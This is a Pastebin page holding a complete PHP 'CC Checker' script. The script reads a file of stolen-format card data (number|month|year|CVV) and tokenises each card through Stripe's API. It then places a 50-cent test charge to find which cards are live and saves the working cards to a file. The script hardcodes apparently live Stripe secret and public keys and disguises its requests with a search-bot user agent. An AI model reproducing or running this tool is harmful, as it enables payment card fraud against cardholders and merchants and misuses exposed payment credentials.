Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * @Author: shor7cut
- * @Date: 2017-02-04 23:53:25
- * @Last Modified by: shor7cut
- * @Last Modified time: 2017-02-05 01:04:14
- */
- error_reporting(0);
- class shcCardChecker
- {
- public function config(){
- return array(
- 'private_key' => 'sk_live_Jx18bSs19PjP5SDMuvAYYiG0',
- 'public_key' => 'pk_live_5RBQRzJuM6aGrv8NCBpUYMfQ',
- );
- }
- public function sdata($url , $custom , $delCookies = false){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, false);
- if($custom[uagent]){
- curl_setopt($ch, CURLOPT_USERAGENT, $custom[uagent]);
- }else{
- curl_setopt($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
- }
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
- if($custom[rto]){
- curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
- }else{
- curl_setopt($ch, CURLOPT_TIMEOUT, 60);
- }
- if($custom[header]){
- curl_setopt($ch, CURLOPT_HTTPHEADER, $custom[header]);
- }
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies.txt');
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- if($custom[post]){
- if(is_array($custom[post])){
- $query = http_build_query($custom[post]);
- }else{
- $query = $custom[post];
- }
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $query);
- }
- $data = curl_exec($ch);
- $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- return array(
- 'data' => $data,
- 'decode' => json_decode($data , true),
- 'httpcode' => $httpcode
- );
- }
- public function token($ccnum,$ccmonth,$ccyear,$cccvc){
- $options = array(
- 'header' => array(
- "authorization: Bearer ".$this->config()[public_key], // public key
- "content-type: application/x-www-form-urlencoded",
- ),
- 'post' => "card%5Bnumber%5D=".$ccnum."&card%5Bexp_month%5D=".$ccmonth."&card%5Bexp_year%5D=".$ccyear."&card%5Bcvc%5D=".$cccvc,
- );
- $respons = $this->sdata("https://api.stripe.com/v1/tokens",$options,false);
- if($respons[decode][id]){
- return array(
- 'error' => false,
- 'token' => $respons[decode][id],
- 'id_card' => $respons[decode][card][id],
- 'brand' => $respons[decode][card][brand],
- 'cvc_check' => $respons[decode][card][cvc_check],
- 'funding' => $respons[decode][card][funding],
- 'client_ip' => $respons[decode][client_ip],
- 'created' => $respons[decode][created],
- 'used' => $respons[decode][used],
- );
- }else{
- return array('error' => true);
- }
- }
- public function charges($token){
- $options = array(
- 'header' => array(
- "authorization: Bearer ".$this->config()[private_key], // private key
- "content-type: application/x-www-form-urlencoded",
- ),
- 'post' => "amount=50¤cy=usd&source=".$token."&description=Charge%20for%20shc%20checker",
- );
- $respons = $this->sdata("https://api.stripe.com/v1/charges",$options,false);
- if($respons[decode][error][message]){
- return array(
- 'error' => true,
- 'message' => $respons[decode][error][message]
- );
- }else{
- if($respons[decode][outcome][seller_message] === ""){
- return array(
- 'error' => false,
- 'message' => $respons[decode][outcome][seller_message]
- );
- }else{
- return array(
- 'error' => false,
- 'message' => $respons[decode][status]
- );
- }
- }
- }
- public function readline($pesan){
- echo "[CC Checker] ".$pesan;
- $answer = rtrim( fgets( STDIN ));
- return $answer;
- }
- public function run(){
- printf("
- _____ _____ _____ _ _
- | __| | | | |_ ___ ___| |_ ___ ___ SHOR7CUT
- |__ | | --| | -_| _| '_| -_| _|
- |_____|__|__|_____|_|_|___|___|_,_|___|_|
- :: Format : NUM|MM|YY|CVV
- ");
- $file = $this->readline("File List CC : ");
- $files = file_get_contents($file);
- $files = explode("\r\n", $files); // windows (\r\n) linux (\n)
- foreach ($files as $number => $ccdata) {
- $ccdata = trim($ccdata);
- list($cccard, $ccmm, $ccyy, $cccvv) = explode("|", $ccdata);
- echo "[CC CHECKER|".$number."/".count($files)."] CC Data ::: $cccard $ccmm/$ccyy $cccvv ";
- $token = $this->token($cccard,$ccmm,$ccyy,$cccvv);
- $charges = $this->charges($token[token]);
- if($token[error]){
- echo "(no result)\r\n";
- }else{
- if($charges['error'] === false){
- $f = fopen("shcchecker-ccchecker.txt", "a+");
- fwrite($f, $cccard."|".$ccmm."|".$ccyy."|".$cccvv."\r\n");
- fclose($f);
- }
- echo "(".$charges[message].")\r\n";
- }
- }
- }
- }
- $shcCardChecker = new shcCardChecker;
- $shcCardChecker->run();
Add Comment
Please, Sign In to add comment